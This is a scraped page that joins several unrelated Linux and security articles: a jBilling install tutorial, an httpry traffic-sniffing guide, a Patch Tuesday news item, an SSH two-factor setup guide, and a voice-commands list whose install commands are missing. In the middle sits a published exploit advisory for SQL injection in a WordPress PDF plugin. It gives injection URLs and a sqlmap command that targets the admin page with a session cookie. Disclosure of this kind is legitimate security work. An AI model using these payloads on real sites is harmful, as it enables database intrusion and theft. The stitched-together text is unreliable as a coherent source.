A lot more people are taking up the entrepreneurial route these days. To the uninitiated it looks very easy; you are your own boss and can do whatever you wish. But someone who has already taken the plunge knows that being an entrepreneur is a lot tougher – whether working as a freelancer or the founder of a start- up, you will almost always find yourself donning several hats. While managing everything is relatively easy when you are small, it can become a daunting task to manage things when you start growing rapidly. Multitasking becomes a real skill as you negotiate with clients, send proposals and work on current assignments. With all this chaos, you certainly don’t want to miss out on payments – after all, that’s what you’re working for!
Today we introduce jBilling, which can help you manage the most important aspect of your business – the income. This is not the typical invoice management kind of tool, rather a full-fledged platform with several innovative features. jBilling helps you manage invoices, track payments, bill your customers and more with little effort on your behalf – just what you want when juggling responsibilities.
In this tutorial we will first cover the necessary steps to install and set up jBilling before having a closer look at the various features that can help you manage your business better. We have used the latest stable community edition of jBilling, version 3.1.0, for demo purposes in this article.

The main menu bar gives you access to all the pages you'll use most frequently
The main menu bar gives you access to all the pages you’ll use most frequently

Step-by-step

Step 01 Installation
jBilling is integrated with the web server out of the box, which helps make the installation process straightforward. Just unzip the downloaded zip file to a folder (where you want the installation to be done), eg ‘my_jBilling’. Open the command prompt and navigate to the folder /path/my_jBilling/bin. Assign executable permissions to all the shell script files, with the command chmod +x *.sh. Also, remember to set the JAVA_HOME variable with your Java Home path. You can then start jBilling by running ./startup.sh. This completes the installation process – note that the process may slightly differ depending on the OS you use. As the startup.sh script executes, the command prompt shows five lines of logs indicating successful start. You can then access jBilling via your browser at http://localhost:8080/jbilling and login with credentials admin/123qwe. You can also access http://localhost:8080/jbilling/signup to create your new signup.
Step 02 Customers
No one wants to add a customer’s detail to the system every single time an invoice is sent to them! It is generally a good idea to keep the details of your customer with you and that’s precisely what jBilling lets you do – simply click on the ‘Customer’ button on the main menu to go to the customer page. Here you can view all the details related to the customer – but before that, you need to add a customer. To do so, click on the ‘Add New’ button and then fill in all of the relevant details. Note that once you add a customer, a separate login for the customer is also created and they can then log in to your jBilling system and manage their account as well (to make payments, view invoices and so on). This may seem trivial for smaller organisations with a smaller number of customers, but if you have a huge customer base and would like customers to handle payments themselves, you will definitely like this feature.
Step 03 Products
Besides customers, the other important aspect of a business is what you sell – your products or services. Handling your products in jBilling is nice and straightforward. Simply click on the ‘Products’ button to go to the products page. To add a new product here, you must add product categories first – click on the ‘Add Category’ button to do that. After the category is created, select it to add new products to that particular category or view all the products within it. Once you have all your products listed in the system, you can use them to create orders, invoices and so on.
Step 04 Orders
Before serving your customer you need an order from them. jBilling lets you handle orders in a way that closely resembles real-world scenarios. Clicking on the ‘Orders’ link on the main menu will take you to the orders page where you can view a list of all the orders received up to now. At this point you may be puzzled; unlike other pages there is no button to create an order here. To create an order you must first navigate to the particular customer you plan to create it for (in the customer page) and then click the ‘Create Order’ button (located below the customer details). This arrangement makes sure that there is tight coupling between an order and related customer. Once the order is created you can see it in the Order page. You can then edit orders to add products or create invoices out of it.
Step 05 Invoices
We have tight coupling with customers and orders, so it makes sense that invoices in jBilling should be related to an order too. So, to create an invoice you need to go to the order for which you are raising the invoice and click the ‘Generate Invoice’ button. The invoice is then created – note that you can even apply other orders to an invoice (if it hasn’t been paid). Also, an order can’t be used to generate an invoice if an earlier invoice (related to it) has already been paid. Having generated the invoice, you can send it via email or download it as a PDF. You may find that you want to change the invoice logo – but we’ll get to configuration and customisation later on. We will also see in later steps about how the payments related to an invoice can also be tracked.

Invoices
Invoices

Step 06 Billing
Billing is the feature that helps you automate the whole process of invoicing and payments. It can come in handy for businesses with a subscription model or other cases where customers are charged in a recurring manner. To set the billing process, you need to go the Configuration page first. Once you are on the page, click on ‘Billing Process’ on the left-hand menu bar to set the date and other parameters. With the parameters set, billing process runs automatically and shows a representation of the invoices. This output (invoices) needs to be approved by the admin – only once this has happened can the real invoices get generated and delivered to the customer. The customers (whose payments are not automatic) can then pay their bills with their own logins.
Step 07 Payments
Any payment made for an invoice is tracked on the Payments page, where you can view a list of all the payments already taken care of. To create a new payment, you need to select the customer (for whom payment is being made) on the Customer page and then click the ‘Make Payment’ button at the very bottom (next to the ‘Create Order’ button). This takes you to a page with details of all the paid/unpaid invoices (raised for that customer). Just select the relevant invoice and fill up the details of payment method to complete the payment process. Later, if there is a need to edit the payment details, you need to unlink the invoice before editing the details.
Step 08 Partners
Partners – for example, any affiliate marketing partners for an eCommerce website – are people or organisations that help your business grow. They are generally paid a mutually agreed percentage of the revenue they bring in. jBilling helps you manage partners in a easy, automated way. Click on the Partners link on the homepage to reach the Partners page and set about adding a new partner. Here you will need to fill in the details related to percentage rate, referral fee, payout date and period and so on. Now whenever a new customer is added (with the Partner ID field filled in) the relevant partner gets entitled to the commission percentage (as set during adding the partner) and the jBilling system keeps a track of the partner’s due payment. Note that, as with customers, partners also get their own login once you add their details to jBilling. It is up to you to give them the login access, though.
Step 09 Reports
The reporting engine of jBilling lets you have a bird’s-eye view of what’s going on with your company’s accounts. Click on the Reports link on the main menu; here there are four report types available – invoice, order, payment and customer. You can select one to reveal the different reports available inside that type. After a report is selected, you can see a brief summary of what the report is supposed to show. Set the end date and then click on the ‘Run Report’ button to run the report. Having done this, the system shows you the output. You can also change the output format to PDF, Excel or HTML.

Reports
Reports

Step 10 Configuration
The configuration page lets you fine-tune your jBilling installation settings. Click on the Configuration link and you will see a list of settings available on the left menu bar. The links are somewhat self-explanatory but we’ll run through the more useful ones. The Billing Process link allows you to set the billing run parameters. You can change the invoice logo using the Invoice Display setting. To add new users, simply click on the ‘Users’ link. To set the default currency or add a new currency to the system, click on the ‘Currencies’ link. You can even blacklist customers under the ‘Blacklist’ link. You will find many more settings to customise jBilling as per your tastes and requirements – just keep exploring and make jBilling work for you.



Suppose you want to sniff live HTTP web traffic (i.e., HTTP requests and responses) on the wire for some reason. For example, you may be testing experimental features of a web server. Or you may be debugging a web application or a RESTful service. Or you may be trying to troubleshoot PAC (proxy auto config) or check for any malware files surreptitiously downloaded from a website. Whatever the reason is, there are cases where HTTP traffic sniffing is helpful, for system admins, developers, or even end users.
While packet sniffing tools such as tcpdump are popularly used for live packet dump, you need to set up proper filtering to capture HTTP traffic, and even then, their raw output typically cannot be interpreted on the HTTP protocol level so easily. Real-time web server log parsers such as ngxtop provide human-readable real-time web traffic traces, but only applicable with a full access to live web server logs.
What will be nice is to have tcpdump-like traffic sniffing tool, but targeting HTTP traffic only. In fact, httpry is extactly that: HTTP packet sniffing toolhttpry captures live HTTP packets on the wire, and displays their content at the HTTP protocol level in a human-readable format. In this tutorial, let's see how we can sniff HTTP traffic with httpry.

Install httpry on Linux

On Debian-based systems (Ubuntu or Linux Mint), httpry is not available in base repositories. So build it from the source:
$ sudo apt-get install gcc make git libpcap0.8-dev
$ git clone https://github.com/jbittel/httpry.git
$ cd httpry
$ make
$ sudo make install
On Fedora, CentOS or RHEL, you can install httpry with yum as follows. On CentOS/RHEL, enable EPEL repo before running yum.
$ sudo yum install httpry
If you still want to build httpry from the source, you can easily do that by:
$ sudo yum install gcc make git libpcap-devel
$ git clone https://github.com/jbittel/httpry.git
$ cd httpry
$ make
$ sudo make install

Basic Usage of httpry

The basic use case of httpry is as follows.
$ sudo httpry -i
httpry then listens on a specified network interface, and displays captured HTTP requests/responses in real time.
In most cases, however, you will be swamped with the fast scrolling output as packets are coming in and out. So you want to save captured HTTP packets for offline analysis. For that, use either '-b' or '-o' options. The '-b' option allows you to save raw HTTP packets into a binary file as is, which then can be replayed with httpry later. On the other hand, '-o' option saves human-readable output of httpry into a text file.
To save raw HTTP packets into a binary file:
$ sudo httpry -i eth0 -b output.dump
To replay saved HTTP packets:
$ httpry -r output.dump
Note that when you read a dump file with '-r' option, you don't need root privilege.
To save httpr's output to a text file:
$ sudo httpry -i eth0 -o output.txt

Advanced Usage of httpry

If you want to monitor only specific HTTP methods (e.g., GET, POST, PUT, HEAD, CONNECT, etc), use '-m' option:
$ sudo httpry -i eth0 -m get,head
If you downloaded httpry's source code, you will notice that the source code comes with a collection of Perl scripts which aid in analyzing httpry's output. These scripts are found in httpry/scripts/plugins directory. If you want to write a custom parser for httpry's output, these scripts can be good examples to start from. Some of their capabilities are:
  • hostnames: Displays a list of unique host names with counts.
  • find_proxies: Detect web proxies.
  • search_terms: Find and count search terms entered in search services.
  • content_analysis: Find URIs which contain specific keywords.
  • xml_output: Convert output into XML format.
  • log_summary: Generate a summary of log.
  • db_dump: Dump log file data into a database.
Before using these scripts, first run httpry with '-o' option for some time. Once you obtained the output file, run the scripts on it at once by using this command:
$ cd httpry/scripts
$ perl parse_log.pl -d ./plugins
You may encounter warnings with several plugins. For example, db_dump plugin may fail if you haven't set up a MySQL database with DBI interface. If a plugin fails to initialize, it will automatically be disabled. So you can ignore those warnings.
After parse_log.pl is completed, you will see a number of analysis results (*.txt/xml) in httpry/scripts directory. For example, log_summary.txt looks like the following.
To conclude, httpry can be a life saver if you are in a situation where you need to interpret live HTTP packets. That might not be so common for average Linux users, but it never hurts to be prepared.



Microsoft has released patches for 29 security vulnerabilities, while Adobe has released an update for Flash Player. Redmond's latest Patch Tuesday batch is composed of six bulletins, two of which have been rated as critical updates. Three others have been rated important, and the sixth is considered a moderate risk.
The critical bug fixes include:
  • Cumulative security update for Internet Explorer (2975687) Addressing 24 memory-corruption vulnerabilities, including remote-code execution flaws, in IE 6 to 11 on supported OS versions. The same holes in Windows Server editions are rated as moderate. Server 2008 for 32-bit Systems Service Pack 2, x64-based Systems Service Pack 2 and R2 for x64-based Systems Service Pack 1 are not affected, and neither are Server 2012 and 2012 R2. Some of the holes were revealed in this year's Pwn2Own hacking contest. None have otherwise been exploited in the wild.
  • Vulnerability in Windows Journal could allow remote-code execution (2975689) Addressing a remote-code execution flaw in the note-taking application, which could be exploited by specially crafted Journal files to hijack the system as the logged-in user. This affects Windows Vista, Server 2008, 7, Server 2008 R2, 8 and 8.1, Server 2012 and Server 2012 R2, and Windows RT and RT 8.1.
  • The three important bulletins, and one moderate, fix address elevation of privilege and denial of service vulnerabilities.
    There is also updated firmware for all Microsoft Surface tablets: an upgrade labeled "System Firmware Update – 7/8/2014" should be available via Windows Update, and improves various hardware-related things such as battery management and Miracast wireless display support.
    Adobe, meanwhile, has updated Flash Player for Windows, OS X and Linux systems. The company said that the fix will address three CVE-listed bugs, including a remote-code execution flaw on Flash Player for both Internet Explorer and Chrome.
    The fix is rated by Adobe as a top deployment priority on Windows, OS X and Linux. Google Chrome users will automatically receive the update upon launching the browser. Adobe is also patching the flaws in its AIR platform, though that fix is rated by the company as a lower priority.


With many high-profile password leaks nowadays, there is a lot of buzz in the industry on "multi-factor" authentication. In a multi-factor authentication system, users are required to go through two distinct authentication procedures: providing something they know (e.g., username/password), and leveraging something they have "physical" access to (e.g., one-time passcode generated by their mobile phone). This scheme is also commonly known as two-factor authentication or two-step verification.
To encourage the wide adoption of two-factor authentication, Google released Google Authenticator, an open-source application that can generate one-time passcode based on open standards (e.g., HMAP/time-based). It is available on multiple platforms including Linux, AndroidiOS. Google also offers a pluggable authentication module (PAM) for Google Authenticator, allowing it to be integrated with other PAM-enabled applications such as OpenSSH.
In this tutorial, I will describe how to set up two-factor authentication for an SSH server by integrating Google Authenticator with OpenSSH. I am going to use a Android device to generate one-time passcode. In this tutorial, you will need two things: (1) a Linux host where OpenSSH server is running, and (2) an Android device.

Install Google Authenticator on Linux

The first step is to install Google Authenticator on the Linux host where OpenSSH server is running. Follow this guide to install Google Authenticator and its PAM module on your system.
Once Google Authenticator is ready, you need to go through one-time configuration which involves creating an authentication key from this Linux host, and registering it with an Android device. This will be explained next.

Generate an Authentication Key

To start, simply run Google Authenticator on the Linux server host.
$ google-authenticator
You will see a QR code, as well as a secret key underneath it. The displayed QR code simply represents the numeric secret key. You will need either information to finalize configuration with an Android device.
Google Authenticator will ask you several questions. If you are not sure, you an answer "Yes" to all questions. The emergency scratch codes can be used to regain access to the SSH server in case you lose your Android device, and so cannot generate one-time passcode. So it's better to write them down somewhere.

Run Google Authenticator on Android

As we are going to use an Android device for two-factor authentication, you will need to install Google Authenticator app on Android. Go to Google Play to install it on Android.
When you start Google Authenticator on Android, you will see the following configuration menu.
You can choose either "Scan a barcode" or "Enter provided key" option. The first option allows you to enter the security key, simply by scanning the generated QR code. In this case, you will need to install Barcode Scanner app first. If you choose the second option, you can type the security key using Android keyboard as follows.
Once you register a secret key either way, you will see the following screen on Android.

Enable Google Authenticator on SSH Server

The final step is to integrate Google Authenticator with OpenSSH server. For that, you need to edit two files.
First, edit a PAM configuration file, and append the line below.
$ sudo vi /etc/pam.d/sshd
1
auth required pam_google_authenticator.so
Then open an SSH server config file, search for ChallengeResponseAuthentication, and enable it.
$ sudo vi /etc/ssh/sshd_config
1
ChallengeResponseAuthentication yes
Finally, restart SSH server.
On Ubuntu, Debian or Linux Mint:
$ sudo service ssh restart
On Fedora:
$ sudo systemctl restart sshd
On CentOS or RHEL:
$ sudo service sshd restart

Test Two-factor Authentication

Here is how you use two-factor authentication for SSH logins.
Run Google Authenticator app on Android to obtain one-time verification code. Once generated, a given passcode is valid for 30 seconds. Once it expires, Google Authenticator will automatically generate a new one.
Now log in to the SSH server as you normally do.
$ ssh user@ssh_server
When you are asked to enter "Verification code", type in the verification code generated by Android. After successful verification, then you can type in your SSH login password.
To conclude, two-factor authentication can be an effective means to secure password authentication by adding an extra layer of protection. You can use Google Authenticator to secure other logins such as Google account, WordPress.com, Dropbox.com, Outlook.com, etc. Whether you decide to use it or not, it's up to you, but there is a clear industry trend towards the adoption of two-factor authentication.



######################
# Exploit Title : Wordpress BSK PDF Manager 1.3.2 Authenticated SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.bannersky.com/bsk-pdf-manager/

# Software Link : http://downloads.wordpress.org/plugin/bsk-pdf-manager.zip

# Date : 2014-07-04

# Tested on : Windows 7 / Mozilla Firefox
#     Linux / Mozilla Firefox
#             Linux / sqlmap 1.0-dev-5b2ded0

######################

# Location :  
http://localhost/wp-content/plugins/compfight/compfight-search.php

######################

# Vulnerable code :

[claudio@localhost ~]$ grep -R GET bsk-pdf-manager/
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:             if(isset($_GET['view']) && $_GET['view']){
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     $categories_curr_view = trim($_GET['view']);
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     if(isset($_GET['categoryid']) && $_GET['categoryid']){
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                             $category_id = trim($_GET['categoryid']);
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:             if(isset($_GET['view']) && $_GET['view']){
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     $lists_curr_view = trim($_GET['view']);
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     if(isset($_GET['pdfid']) && $_GET['pdfid']){
bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                             $pdf_id = trim($_GET['pdfid']);


$category_id = trim($_GET['categoryid']);
$pdf_id = trim($_GET['pdfid']);

######################

Exploit Code via Browser:

http://127.0.0.1/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view=edit&pdfid=1 and 1=2

http://127.0.0.1/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1 and 1=2

Exploit Code via sqlmap:

sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://10.0.0.67/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1" -p categoryid

#####################

Discovered By : Claudio Viviani
http://www.homelab.it
info@homelab.it

#####################



source


Voice commands allows you to perform some main actions with voice. It offers this facility in 67 languages and at this moment 95 voice commands are available. It allows user to their own voice to enhance their overall Linux experience. The function of this program starts running play_stop.sh script, which will start recording your voice, and if after five seconds, or run it again, start voice recognition, for now, make one of all commands available.


voice commands


voice commands


voice commands

>> Available for Ubuntu 14.04 Trusty/14.10/13.10 Saucy/12.04 Precise/10.04 Lucid/Linux Mint 17/16/13/9/other Ubuntu derivatives
To install Voice Commands (English Version) in Ubuntu/Linux Mint open Terminal (Press Ctrl+Alt+T) and copy the following commands in the Terminal:






In my test commands file was missing, if you get the same problem then proceed with these commands:







You can open Voice Command from Dash/Menu or use terminal to issue voice commands:
>>v-c , command line options

v-c -l -langTo select another, of 67 languages for recognition.
v-c -t -tryTo try any command, of default lang, or, a [-lang].
v-c -m -modTo modify the commands file, and the README file.
v-c -hShow instructions README file.
v-c --helpShow this message

You can download other languages from this page.

Voice Actions Available:

  1. SELECT_FILE << cited-text >> (select)
  2. MUSIC_START (put music | music play | music player | music | pause)
  3. MUSIC_START_SONG << cited-text >> (put music of | music of | play to | play music of)
  4. MUSIC_PLAY (play music | pause music | start music | stop music | stop music)
  5. MUSIC_NEXT (next song | next track)
  6. MUSIC_PREV (previous song | previous track)
  7. MUSIC_SHUFFLE (random music | mix | do not mix)
  8. MUSIC_REPEAT (repeat | not repeat)
  9. VIDEO_REW (delay | rewind | go back)
  10. VIDEO_FF (forward | go forward)
  11. VOLUME_DOWN (lower the volume | volume down | less volume | volume less)
  12. VOLUME_UP (increase the volume | volume up | more volume | volume more)
  13. VOLUME_MUTE (no audio | no volume | turn off audio | dumb)
  14. SEARCH << cited-text >> (search)
  15. NO_RESALT (remove highlighting | remove highlighted | no highlighting | no highlighted)
  16. TRANSLATE [from] [to] << cited-text >> (translate | translates the | translation | translates of | translate from | translated from | translation from | dictionary of the | translates the | translation of the)
  17. WRITE << cited-text >> (write | type)
  18. WRITE_CAPITAL << cited-text >> (capitalize | type capital)
  19. WRITE_CAPITAL_ALL << cited-text >> (write all uppercase | write everything capitalized)
  20. SAY_THIS << cited-text >> (say this | say)
  21. GOOGLE_SEARCH << cited-text >> (search google | internet search | meaning of | what is | search the dictionary)
  22. YOUTUBE_SEARCH << cited-text >> (search on youtube | what about | search videos | videos )
  23. WIKI_SEARCH << cited-text >> (search wiki | search wikipedia | wikipedia)
  24. WEATHER << cited-text >> (weather | climate)
  25. SEARCH_MAPS << cited-text >> (map | map search | map of | map from | where is)
  26. SAY_HI << cited-text >> (greets to | say hi to)
  27. HELLO (hello machine)
  28. WHOAMI (who i am)
  29. OPEN_FOLDER << cited-text >> (open folder)
  30. OPEN_FOLDER_OF << cited-text >> (open folder of)
  31. SAY_TIME (tell me the hour | what the time is | what time is it)
  32. SAY_DATE (date is | which day is | that date today | which day is today | tell me the date | on what date we are)
  33. DICTATION << cited-text-continuously >> (dictation mode | out dictation mode | end dictation mode)
  34. UNDO (undo)
  35. REDO (redo)
  36. DEL_LINE (delete line)
  37. FAV (add to favorite)
  38. CLOSE_TERM (close the terminal | close terminal)
  39. MAIL (open mail | open email | open mail | mail | email)
  40. COPY (copy)
  41. PASTE (paste)
  42. CUT (cut)
  43. SELECT_ALL (select all)
  44. SAVE (save | save file)
  45. SAVE_AS (save as | save page as)
  46. FOLDER (create folder | new folder)
  47. MINIMISE (minimize)
  48. MAXIMISE (maximize)
  49. FULLSCREEN (full screen | fullscreen)
  50. TAB (key tab | tabulation | tab)
  51. ESC (escape)
  52. MENU (main menu | open main menu)
  53. ACTIONS_MENU (menu | open menu | close menu)
  54. CLOSE (close program | exit)
  55. CLOSE_WIN (close window)
  56. ZOOM_OUT (ward | shrink | decrease | zoom less)
  57. ZOOM_IN (approximate | enlarge | raise | zoom more)
  58. ZOOM_RESET (normal size | zero zoom)
  59. TOUCH_ON_OFF (turn off touchpad | turn on touchpad | touchpad)
  60. BACK (over | back)
  61. ADVANCE (move | forward)
  62. RIGHT (right)
  63. LEFT (left)
  64. DOWN (down)
  65. UP (go up)
  66. PAGE_DOWN (page down)
  67. PAGE_UP (page up)
  68. HOME_PAGE (top of page | go to top of page | go to the top)
  69. END_PAGE (end of page | go to end of page | go to the end)
  70. HOME (top of)
  71. END (the end)
  72. SCROLL_DOWN (run page down | run down)
  73. SCROLL_UP (run page up | run up)
  74. DELETE (delete)
  75. ENTER (open | execute | enter)
  76. NEW_WINDOW (new window)
  77. CHANGE_TAB (window move | go to window | switch to window | window | move tab | go to tab | switch to tab)
  78. CLOSE_TAB (close tab)
  79. BROWSER (browser | open browser | internet)
  80. FILE_MANAGER (nautilus | file explorer | open nautilus | open file explorer)
  81. TERMINAL (open the console | open terminal | terminal opens | open the terminal)
  82. EXECUTE (launch command | run command)
  83. BATTERY (battery | battery status | battery charge)
  84. TEXT_EDITOR (text editor | open text editor | launch text editor | new text)
  85. SCREENSHOT (screenshot | catch)
  86. ALARM << cited-numbers [days] [hours] [minutes] [seconds]>> (alarm | start alarm at)
  87. LOG_OFF (logout | system logout)
  88. BRIGHTNESS_UP (raise the brightness | brighten up | shine up | up brightness | increase brightness)
  89. BRIGHTNESS_DOWN (lower the brightness | decrease brightness | brightness down | shine down | decrease brightness)
  90. POWER_OFF (shut down the system | turn off the machine | turn off the computer | turn off computer | power off)
  91. CALCULATER (calculator)
  92. TAKE_PICTURE (photo | take a picture)
  93. TAKE_VIDEO (record | record video | record a video)
  94. OPEN_FILE (open file | open a new file)
  95. OFFICE << cited-text [ writer, calc, impress, draw, math ] >> (open new document | open new document of | create new document | create new document of | create new | open new) Writer (text) Calc (calc) Impress (presentation | page | web) Draw (drawing | graphic) Math (formula | math)
  96. RETRY (retry command | repeat command | try again the command | retry | try again)

Your Location

IP